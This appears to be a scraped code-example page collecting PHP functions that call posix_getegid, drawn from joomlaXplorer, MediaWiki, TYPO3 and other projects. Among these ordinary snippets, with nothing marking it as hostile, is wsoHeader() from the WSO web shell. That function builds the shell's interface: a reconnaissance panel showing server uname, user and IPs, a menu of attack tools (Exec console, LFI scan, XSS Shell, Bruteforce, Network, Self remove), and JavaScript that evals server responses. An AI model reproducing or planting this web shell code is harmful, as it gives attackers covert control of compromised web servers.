     $processGroup = posix_getgrgid(posix_getegid());
     $user = $processUser['name'];
     $group = $processGroup['name'];
     $path = dirname(__FILE__) . '/../../';
     exec('sudo chown -R ' . $user . ':' . $group . ' ' . $path);
 }
Ejemplo n.º 11
0
function list_dir($dir)
{
    // list directory contents
    global $dir_up, $mosConfig_live_site, $_VERSION;
    ?>
	<script type="text/javascript" src="<?php 
    echo $mosConfig_live_site;
    ?>
/includes/js/overlib_mini.js"></script>
	<div id="overDiv" style="position:absolute; visibility:hidden; z-index:10000;"></div>
	<?php 
    $allow = ($GLOBALS["permissions"] & 01) == 01;
    $admin = ($GLOBALS["permissions"] & 04) == 04 || ($GLOBALS["permissions"] & 02) == 02;
    $dir_up = dirname($dir);
    if ($dir_up == ".") {
        $dir_up = "";
    }
    if (!get_show_item($dir_up, basename($dir))) {
        show_error($dir . " : " . $GLOBALS["error_msg"]["accessdir"]);
    }
    // make file & dir tables, & get total filesize & number of items
    make_tables($dir, $dir_list, $file_list, $tot_file_size, $num_items);
    $dirs = explode("/", $dir);
    $implode = "";
    $dir_links = "<a href=\"" . make_link("list", "", null) . "\">..</a>/";
    foreach ($dirs as $directory) {
        if ($directory != "") {
            $implode .= $directory . "/";
            $dir_links .= "<a href=\"" . make_link("list", $implode, null) . "\">{$directory}</a>/";
        }
    }
    show_header($GLOBALS["messages"]["actdir"] . ": " . $dir_links);
    // Javascript functions:
    include _QUIXPLORER_PATH . "/include/javascript.php";
    // Sorting of items
    $images = "&nbsp;<img width=\"10\" height=\"10\" border=\"0\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/";
    if ($GLOBALS["srt"] == "yes") {
        $_srt = "no";
        $images .= "_arrowup.gif\" alt=\"^\">";
    } else {
        $_srt = "yes";
        $images .= "_arrowdown.gif\" alt=\"v\">";
    }
    // Toolbar
    echo "<br><table width=\"95%\"><tr><td><table><tr>\n";
    // PARENT DIR
    echo "<td>";
    if ($dir != "") {
        echo "<a href=\"" . make_link("list", $dir_up, NULL) . "\">";
        echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_up.png\" ";
        echo "alt=\"" . $GLOBALS["messages"]["uplink"] . "\" title=\"" . $GLOBALS["messages"]["uplink"] . "\"></a>";
    }
    echo "</td>\n";
    // HOME DIR
    echo "<td><a href=\"" . make_link("list", NULL, NULL) . "\">";
    echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_home.gif\" ";
    echo "alt=\"" . $GLOBALS["messages"]["homelink"] . "\" title=\"" . $GLOBALS["messages"]["homelink"] . "\"></a></td>\n";
    // RELOAD
    echo "<td><a href=\"javascript:location.reload();\"><img border=\"0\" width=\"22\" height=\"22\" ";
    echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_refresh.gif\" alt=\"" . $GLOBALS["messages"]["reloadlink"];
    echo "\" title=\"" . $GLOBALS["messages"]["reloadlink"] . "\"></A></td>\n";
    // SEARCH
    if (!jx_isFTPMode()) {
        echo "<td><a href=\"" . make_link("search", $dir, NULL) . "\">";
        echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_search.gif\" ";
        echo "alt=\"" . $GLOBALS["messages"]["searchlink"] . "\" title=\"" . $GLOBALS["messages"]["searchlink"];
        echo "\"></a></td>\n";
    }
    echo "<td><img src=\"images/menu_divider.png\" height=\"22\" width=\"2\" border=\"0\" alt=\"|\" /></td>";
    // Joomla Sysinfo
    echo "<td><a href=\"" . make_link("sysinfo", $dir, NULL) . "\">";
    echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/systeminfo.gif\" ";
    echo "alt=\"" . $GLOBALS['messages']['mossysinfolink'] . "\" title=\"" . $GLOBALS['messages']['mossysinfolink'] . "\"></a></td>\n";
    echo "<td><img src=\"images/menu_divider.png\" height=\"22\" width=\"2\" border=\"0\" alt=\"|\" /></td>";
    if ($allow) {
        // COPY
        echo "<td><a href=\"javascript:Copy();\"><img border=\"0\" width=\"22\" height=\"22\" ";
        echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_copy.gif\" alt=\"" . $GLOBALS["messages"]["copylink"];
        echo "\" title=\"" . $GLOBALS["messages"]["copylink"] . "\"></a></td>\n";
        // MOVE
        echo "<td><a href=\"javascript:Move();\"><img border=\"0\" width=\"22\" height=\"22\" ";
        echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_move.gif\" alt=\"" . $GLOBALS["messages"]["movelink"];
        echo "\" title=\"" . $GLOBALS["messages"]["movelink"] . "\"></A></td>\n";
        // DELETE
        echo "<td><a href=\"javascript:Delete();\"><img border=\"0\" width=\"22\" height=\"22\" ";
        echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_delete.gif\" alt=\"" . $GLOBALS["messages"]["dellink"];
        echo "\" title=\"" . $GLOBALS["messages"]["dellink"] . "\"></A></td>\n";
        // CHMOD
        echo "<td><a href=\"javascript:Chmod();\"><img border=\"0\" width=\"22\" height=\"22\" ";
        echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_chmod.gif\" alt=\"chmod\" title=\"" . $GLOBALS['messages']['chmodlink'] . "\"></a></td>\n";
        // UPLOAD
        if (ini_get("file_uploads")) {
            echo "<td><a href=\"" . make_link("upload", $dir, NULL) . "\">";
            echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
            echo "src=\"" . _QUIXPLORER_URL . "/images/_upload.gif\" alt=\"" . $GLOBALS["messages"]["uploadlink"];
            echo "\" title=\"" . $GLOBALS["messages"]["uploadlink"] . "\"></A></td>\n";
        } else {
            echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
            echo "src=\"" . _QUIXPLORER_URL . "/images/_upload_.gif\" alt=\"" . $GLOBALS["messages"]["uploadlink"];
            echo "\" title=\"" . $GLOBALS["messages"]["uploadlink"] . "\"></td>\n";
        }
        // ARCHIVE
        if (($GLOBALS["zip"] || $GLOBALS["tar"] || $GLOBALS["tgz"]) && !jx_isFTPMode()) {
            echo "<td><a href=\"javascript:Archive();\"><img border=\"0\" width=\"22\" height=\"22\" ";
            echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_archive.gif\" alt=\"" . $GLOBALS["messages"]["comprlink"];
            echo "\" title=\"" . $GLOBALS["messages"]["comprlink"] . "\"></a></td>\n";
        }
    } else {
        // COPY
        echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
        echo "src=\"" . _QUIXPLORER_URL . "/images/_copy_.gif\" alt=\"" . $GLOBALS["messages"]["copylink"] . "\" title=\"";
        echo $GLOBALS["messages"]["copylink"] . "\"></td>\n";
        // MOVE
        echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
        echo "src=\"" . _QUIXPLORER_URL . "/images/_move_.gif\" alt=\"" . $GLOBALS["messages"]["movelink"] . "\" title=\"";
        echo $GLOBALS["messages"]["movelink"] . "\"></td>\n";
        // DELETE
        echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
        echo "src=\"" . _QUIXPLORER_URL . "/images/_delete_.gif\" alt=\"" . $GLOBALS["messages"]["dellink"] . "\" title=\"";
        echo $GLOBALS["messages"]["dellink"] . "\"></td>\n";
        // UPLOAD
        echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
        echo "src=\"" . _QUIXPLORER_URL . "/images/_upload_.gif\" alt=\"" . $GLOBALS["messages"]["uplink"];
        echo "\" title=\"" . $GLOBALS["messages"]["uplink"] . "\"></td>\n";
    }
    // ADMIN & LOGOUT
    if ($GLOBALS["require_login"]) {
        echo "<td>::</td>";
        // ADMIN
        if ($admin) {
            echo "<td><a href=\"" . make_link("admin", $dir, NULL) . "\">";
            echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
            echo "src=\"" . _QUIXPLORER_URL . "/images/_admin.gif\" alt=\"" . $GLOBALS["messages"]["adminlink"] . "\" title=\"";
            echo $GLOBALS["messages"]["adminlink"] . "\"></A></td>\n";
        }
        // LOGOUT
        echo "<td><a href=\"" . make_link("logout", NULL, NULL) . "\">";
        echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
        echo "src=\"" . _QUIXPLORER_URL . "/images/_logout.gif\" alt=\"" . $GLOBALS["messages"]["logoutlink"] . "\" title=\"";
        echo $GLOBALS["messages"]["logoutlink"] . "\"></a></td>\n";
    }
    // Logo
    echo "<td style=\"padding-left:10px;\">";
    //echo "<div style=\"margin-left:10px;float:right;\" width=\"305\" >";
    echo "<a href=\"" . $GLOBALS['jx_home'] . "\" target=\"_blank\" title=\"joomlaXplorer Project\"><img border=\"0\" align=\"absmiddle\" id=\"jx_logo\" style=\"filter:alpha(opacity=10);-moz-opacity:.10;opacity:.10;\" onmouseover=\"opacity('jx_logo', 60, 99, 500);\" onmouseout=\"opacity('jx_logo', 100, 60, 500);\" ";
    echo "src=\"" . _QUIXPLORER_URL . "/images/logo.gif\" align=\"right\" alt=\"" . $GLOBALS['messages']['logolink'] . "\"></a>";
    //echo "</div>";
    echo "</td>\n";
    echo "</tr></table></td>\n";
    // Create File / Dir
    if ($allow && @$GLOBALS['jx_File']->is_writable(get_abs_dir($dir))) {
        echo "<td align=\"right\">\n\t\t\t\t<form action=\"" . make_link("mkitem", $dir, NULL) . "\" method=\"post\" name=\"mkitemform\">\n\n\t\t\t\t<table><tr><td>\n\t\t\t\t\t<select name=\"mktype\" onchange=\"checkMkitemForm(this.options[this.selectedIndex])\">\n\t\t\t\t\t\t<option value=\"file\">" . $GLOBALS["mimes"]["file"] . "</option>\n\t\t\t\t\t\t<option value=\"dir\">" . $GLOBALS["mimes"]["dir"] . "</option>";
        if (!jx_isFTPMode() && !$GLOBALS['isWindows']) {
            echo "\t\t\t<option value=\"symlink\">" . $GLOBALS["mimes"]["symlink"] . "</option>\n";
        }
        echo "\t\t</select>\n\t\t\t\t\t<input name=\"symlink_target\" type=\"hidden\" size=\"25\" title=\"{$GLOBALS['messages']['symlink_target']}\" value=\"{$GLOBALS['mosConfig_absolute_path']}\" />\n\t\t\t\t\t<input name=\"mkname\" type=\"text\" size=\"15\" title=\"{$GLOBALS['messages']['nameheader']}\" />\n\t\t\t\t\t<input type=\"submit\" value=\"" . $GLOBALS["messages"]["btncreate"] . "\" />\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td id=\"quick_jumpto\">" . list_bookmarks($dir) . "</td></tr>\n\t\t\t\t</table>\n\t\t\t\t<script type=\"text/javascript\">function checkMkitemForm( el ) { if( el.value =='symlink' ) document.mkitemform.symlink_target.type='text'; else document.mkitemform.symlink_target.type='hidden';} </script>\n\t\t\t\t</form>\n\t\t\t  </td>\n";
    } else {
        echo "<td align=\"right\">\n\t\t\t\t<table><tr><td id=\"quick_jumpto\">" . list_bookmarks($dir) . "</td></tr></table>\n\t\t\t </td>";
    }
    echo "</tr></table>\n";
    // End Toolbar
    // Begin Table + Form for checkboxes
    echo "<form name=\"selform\" method=\"post\" action=\"" . make_link("post", $dir, null) . "\">\n\t<input type=\"hidden\" name=\"do_action\" /><input type=\"hidden\" name=\"first\" value=\"y\" />\n\t<table class=\"adminlist\" width=\"95%\">\n";
    if (extension_loaded("posix")) {
        $owner_info = '<th width="15%" class="title">' . $GLOBALS['messages']['miscowner'] . '&nbsp;';
        if (jx_isFTPMode()) {
            $my_user_info = posix_getpwnam($_SESSION['ftp_login']);
            $my_group_info = posix_getgrgid($my_user_info['gid']);
        } else {
            $my_user_info = posix_getpwuid(posix_geteuid());
            $my_group_info = posix_getgrgid(posix_getegid());
        }
        $owner_info .= mosTooltip(mysql_escape_string(sprintf($GLOBALS['messages']['miscownerdesc'], $my_user_info['name'], $my_user_info['uid'], $my_group_info['name'], $my_group_info['gid'])));
        // new [mic]
        $owner_info .= "</th>\n";
        $colspan = 8;
    } else {
        $owner_info = "";
        $colspan = 7;
    }
    // Table Header
    echo "<tr>\n\t<th width=\"2%\" class=\"title\">\n\t\t<input type=\"checkbox\" name=\"toggleAllC\" onclick=\"javascript:ToggleAll(this);\" />\n\t</th>\n\t<th width=\"34%\" class=\"title\">\n";
    if ($GLOBALS["order"] == "name") {
        $new_srt = $_srt;
    } else {
        $new_srt = "yes";
    }
    echo "<a href=\"" . make_link("list", $dir, NULL, "name", $new_srt) . "\">" . $GLOBALS["messages"]["nameheader"];
    if ($GLOBALS["order"] == "name") {
        echo $images;
    }
    echo '</a>';
    echo "</th>\n\t<th width=\"10%\" class=\"title\">";
    if ($GLOBALS["order"] == "size") {
        $new_srt = $_srt;
    } else {
        $new_srt = "yes";
    }
    echo "<a href=\"" . make_link("list", $dir, NULL, "size", $new_srt) . "\">" . $GLOBALS["messages"]["sizeheader"];
    if ($GLOBALS["order"] == "size") {
        echo $images;
    }
    echo "</a></th>\n\t<th width=\"14%\" class=\"title\">";
    if ($GLOBALS["order"] == "type") {
        $new_srt = $_srt;
    } else {
        $new_srt = "yes";
    }
    echo "<a href=\"" . make_link("list", $dir, NULL, "type", $new_srt) . "\">" . $GLOBALS["messages"]["typeheader"];
    if ($GLOBALS["order"] == "type") {
        echo $images;
    }
    echo "</a></th>\n\t<th width=\"14%\" class=\"title\">";
    if ($GLOBALS["order"] == "mod") {
        $new_srt = $_srt;
    } else {
        $new_srt = "yes";
    }
    echo "<a href=\"" . make_link("list", $dir, NULL, "mod", $new_srt) . "\">" . $GLOBALS["messages"]["modifheader"];
    if ($GLOBALS["order"] == "mod") {
        echo $images;
    }
    echo "</a></th>\n\t<th width=\"2%\" class=\"title\">" . $GLOBALS["messages"]["permheader"] . "\n";
    echo "</th>";
    echo $owner_info;
    echo "<th width=\"10%\" class=\"title\">" . $GLOBALS["messages"]["actionheader"] . "</th>\n\t\n\t</tr>\n";
    // make & print Table using lists
    print_table($dir, make_list($dir_list, $file_list), $allow);
    // print number of items & total filesize
    echo "<tr><td colspan=\"{$colspan}\"><hr/></td></tr><tr>\n<td class=\"title\"></td>";
    echo "<td class=\"title\">" . $num_items . " " . $GLOBALS["messages"]["miscitems"] . " (";
    if (function_exists("disk_free_space")) {
        $size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']);
        $free = parse_file_size($size);
    } elseif (function_exists("diskfreespace")) {
        $size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']);
        $free = parse_file_size($size);
    } else {
        $free = "?";
    }
    echo $GLOBALS["messages"]["miscfree"] . ": " . $free . ")</td>\n";
    echo "<td class=\"title\">" . parse_file_size($tot_file_size) . "</td>\n";
    for ($i = 0; $i < $colspan - 3; ++$i) {
        echo "<td class=\"title\"></td>";
    }
    echo "</tr>\n<tr><td colspan=\"{$colspan}\"><hr/></td></tr></table>\n\t\t</form>";
    ?>
<script type="text/javascript"><!--
	// Uncheck all items (to avoid problems with new items)
	var ml = document.selform;
	var len = ml.elements.length;
	for(var i=0; i<len; ++i) {
		var e = ml.elements[i];
		if(e.name == "selitems[]" && e.checked == true) {
			e.checked=false;
		}
	}
	opacity('jx_logo', 10, 60, 2000);
// --></script>

<?php 
}
function wsoHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['default_charset'];
    }
    global $color;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> \n<style> \nbody {background-color:#000;color:#fff;}  \nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }  \nspan,h1,a{ color: {$color} !important; }  \nspan{ font-weight: bolder; }  \nh1{ border:1px solid {$color};padding: 2px 5px;font: 14pt Verdana;margin:0px; }  \ndiv.content{ padding: 5px;margin-left:5px;}  \na{ text-decoration:none; }  \na:hover{ background:#ff0000; }  \n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }  \n.bigarea{ width:100%;height:250px; }  \ninput, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }  \nform{ margin:0px; }  \n#toolsTbl{ text-align:center; }  \n.toolsInp{ width: 80%; }  \n.main th{text-align:left;}  \n.main tr:hover{background-color:#5e5e5e;}  \n.main td, th{vertical-align:middle;}  \npre{font-family:Courier,Monospace;} \n#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}  \n</style> \n<script> \n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \n    var d = document; \n    function set(a,c,p1,p2,p3,charset) { \n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \n    } \n    function g(a,c,p1,p2,p3,charset) { \n        set(a,c,p1,p2,p3,charset); \n        d.mf.submit(); \n    } \n    function a(a,c,p1,p2,p3,charset) { \n        set(a,c,p1,p2,p3,charset); \n        var params = 'ajax=true'; \n        for(i=0;i<d.mf.elements.length;i++) \n            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \n        sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \n    } \n    function sr(url, params) { \n        if (window.XMLHttpRequest) \n            req = new XMLHttpRequest(); \n        else if (window.ActiveXObject) \n            req = new ActiveXObject('Microsoft.XMLHTTP'); \n        if (req) { \n            req.onreadystatechange = processReqChange; \n            req.open('POST', url, true); \n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \n            req.send(params); \n        } \n    } \n    function processReqChange() { \n        if( (req.readyState == 4) ) \n            if(req.status == 200) { \n                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \n                var arr=reg.exec(req.responseText); \n                eval(arr[2].substr(0, arr[1])); \n            } else alert('Request error!'); \n    } \n</script> \n<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> \n<form method=post name=mf style='display:none;'> \n<input type=hidden name=a> \n<input type=hidden name=c> \n<input type=hidden name=p1> \n<input type=hidden name=p2> \n  \n<input type=hidden name=p3> \n<input type=hidden name=charset> \n</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $item) {
        $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    }
    $m = array('Sec Info' => 'SecInfo', 'Files' => 'FilesMan', 'Exec' => 'Console', 'Sql' => 'Sql', 'PHP Tools' => 'phptools', 'LFI' => 'lfiscan', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'XSS Shell' => 'XSSShell', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
    if (!empty($GLOBALS['auth_pass'])) {
        $m['Logout'] = 'Logout';
    }
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach ($m as $k => $v) {
        $menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
Ejemplo n.º 13
0
function sk_fileinfo($filename)
{
    if (!file_exists($filename)) {
        echo "<p style='color:red'>Die Datei <b><code>{$filename}</code></b> existiert nicht! Wurden alle Dateien im richtigen Verzeichnis installiert?</p>";
    } else {
        if (!is_readable($filename)) {
            echo "<p style='color:red'>Die Datei <b><code>{$filename}</code></b> existiert zwar, ist aber f&uuml;r dieses PHP-Skript nicht lesbar! Bitte kontrollieren Sie die Leserechte der Datei.</p>";
        } else {
            echo "\n<p style='color:red'>Die Datei <b><code>{$filename}</code></b> kann von diesem PHP-Skript leider nicht ge&ouml;ffnet werden! Bitte kontrollieren Sie die Leserechte der Datei.</p>\n";
        }
        $sk_stat = stat($filename);
        if (substr(PHP_OS, 0, 3) != 'WIN' && ($sk_stat['mode'] & 04) == 0) {
            echo '<p style="color:red">Es besteht kein Leserecht f&uuml;r alle. Dieses k&ouml;nnen Sie mit <code>chmod a+r</code> setzen.</p>';
        }
        if (function_exists('posix_getegid')) {
            if (posix_getegid() != $sk_stat['gid']) {
                $gid1 = posix_getgrgid($sk_stat['gid']);
                $gid2 = posix_getgrgid(posix_getegid());
                echo '<p>Andere Gruppe (' . $gid1['name'] . ' = ' . $sk_stat['gid'] . ') als das PHP-Skript (' . $gid2['name'] . ' = ' . posix_getegid() . '). Evtl. mit <code>chgrp</code> &auml;ndern.</p>';
            } else {
                if (($sk_stat['mode'] & 040) == 0) {
                    echo '<p style="color:red">Gleiche Gruppe wie das PHP-Skript, aber kein Leserecht f&uuml;r die Gruppe. Dieses k&ouml;nnen Sie mit <code>chmod g+r</code> setzen.</p>';
                }
            }
        }
        if (function_exists('posix_geteuid')) {
            if (posix_geteuid() != $sk_stat['uid']) {
                $uid1 = posix_getpwuid($sk_stat['uid']);
                $uid2 = posix_getpwuid(posix_geteuid());
                echo '<p>Anderer User (' . $uid1['name'] . ' = ' . $sk_stat['uid'] . ') als das PHP-Skript (' . $uid2['name'] . ' = ' . posix_geteuid() . '). Evtl. mit <code>chown</code> &auml;ndern.</p>';
            } else {
                if (($sk_stat['mode'] & 0400) == 0) {
                    echo '<p style="color:red">Gleicher User wie das PHP-Skript, aber kein Leserecht f&uuml;r den User. Dieses k&ouml;nnen Sie mit <code>chmod u+r</code> setzen.</p>';
                }
            }
        }
        echo '<table border=1 cellspacing=1 cellpadding=3 summary="Dateieigenschaften">';
        if (substr(PHP_OS, 0, 3) != 'WIN') {
            echo '<tr><td align="right">Zugriffsrechte</td><td>' . substr(sprintf("%o", $sk_stat['mode']), -3) . ' = ' . mfunGetPerms($sk_stat['mode']) . '</td></tr>' . "\n";
        }
        echo '<tr><td align="right">Dateigr&ouml;&szlig;e</td><td>' . number_format($sk_stat['size'], 0, ',', '.') . ' Bytes</td></tr>' . "\n";
        echo '<tr><td align="right">Letzter Dateizugriff</td><td>' . date('d.m.Y H:i:s', $sk_stat['atime']) . '</td></tr>' . "\n";
        echo '<tr><td align="right">Letzte Datei&auml;nderung</td><td>' . date('d.m.Y H:i:s', $sk_stat['mtime']) . '</td></tr>' . "\n";
        echo '<tr><td align="right">Letzte &Auml;nderung der Dateieigenschaften</td><td>' . date('d.m.Y H:i:s', $sk_stat['ctime']) . '</td></tr>' . "\n";
        echo '</table>';
    }
}
Ejemplo n.º 14
0
 /**
  * On POSIX systems return the primary group of the webserver we're running under.
  * On other systems just returns null.
  *
  * This is used to advice the user that he should chgrp his mw-config/data/images directory as the
  * webserver user before he can install.
  *
  * Public because SqliteInstaller needs it, and doesn't subclass Installer.
  *
  * @return mixed
  */
 public static function maybeGetWebserverPrimaryGroup()
 {
     if (!function_exists('posix_getegid') || !function_exists('posix_getpwuid')) {
         # I don't know this, this isn't UNIX.
         return null;
     }
     # posix_getegid() *not* getmygid() because we want the group of the webserver,
     # not whoever owns the current script.
     $gid = posix_getegid();
     $getpwuid = posix_getpwuid($gid);
     $group = $getpwuid['name'];
     return $group;
 }
Ejemplo n.º 15
0
 /**
  * @test
  */
 public function permissionsAreCorrectlyRetrievedForForbiddenFolder()
 {
     if (function_exists('posix_getegid') && posix_getegid() === 0) {
         $this->markTestSkipped('Test skipped if run on linux as root');
     } elseif (TYPO3_OS === 'WIN') {
         $this->markTestSkipped('Test skipped if run on Windows system');
     }
     /** @var $fixture \TYPO3\CMS\Core\Resource\Driver\LocalDriver */
     list($basedir, $fixture) = $this->prepareRealTestEnvironment();
     mkdir($basedir . '/someForbiddenFolder');
     chmod($basedir . '/someForbiddenFolder', 0);
     clearstatcache();
     $result = $fixture->getPermissions('/someForbiddenFolder');
     // Change permissions back to writable, so the sub-folder can be removed in tearDown
     chmod($basedir . '/someForbiddenFolder', 0777);
     $this->assertEquals(array('r' => FALSE, 'w' => FALSE), $result);
 }
Ejemplo n.º 16
0
 static function process_info()
 {
     return posix_getgrgid(posix_getegid());
 }
Ejemplo n.º 17
0
 /**
  * @test
  */
 public function fixPermissionReturnsNoticeStatusIfPermissionsCanNotBeChanged()
 {
     if (TYPO3_OS === 'WIN') {
         $this->markTestSkipped('Test not available on Windows OS.');
     }
     if (function_exists('posix_getegid') && posix_getegid() === 0) {
         $this->markTestSkipped('Test skipped if run on linux as root');
     }
     /** @var $node \TYPO3\CMS\Install\FolderStructure\AbstractNode|\TYPO3\CMS\Core\Tests\AccessibleObjectInterface|\PHPUnit_Framework_MockObject_MockObject */
     $node = $this->getAccessibleMock('TYPO3\\CMS\\Install\\FolderStructure\\AbstractNode', array('isPermissionCorrect', 'getRelativePathBelowSiteRoot', 'getAbsolutePath'), array(), '', FALSE);
     $node->expects($this->any())->method('getRelativePathBelowSiteRoot')->will($this->returnValue(''));
     $node->expects($this->once())->method('isPermissionCorrect')->will($this->returnValue(FALSE));
     $path = PATH_site . 'typo3temp/' . uniqid('root_');
     mkdir($path);
     $subPath = $path . '/' . uniqid('dir_');
     mkdir($subPath);
     chmod($path, 02000);
     $this->testNodesToDelete[] = $path;
     $node->expects($this->any())->method('getAbsolutePath')->will($this->returnValue($subPath));
     $node->_set('targetPermission', '2770');
     $this->assertInstanceOf('TYPO3\\CMS\\Install\\Status\\NoticeStatus', $node->_call('fixPermission'));
     chmod($path, 02770);
 }
Ejemplo n.º 18
0
 /**
  * Get file owner
  *
  * @param string $filename
  * @access protected
  * @return string
  */
 protected function _getFileOwner($filename)
 {
     if (!function_exists('posix_getpwuid')) {
         return 'n/a';
     }
     $owner = posix_getpwuid(fileowner($filename));
     $groupid = posix_getegid();
     $groupinfo = posix_getgrgid($groupid);
     return $owner['name'] . ' / ' . $groupinfo['name'];
 }
Ejemplo n.º 19
0
 /**
  * Return current system user group ID
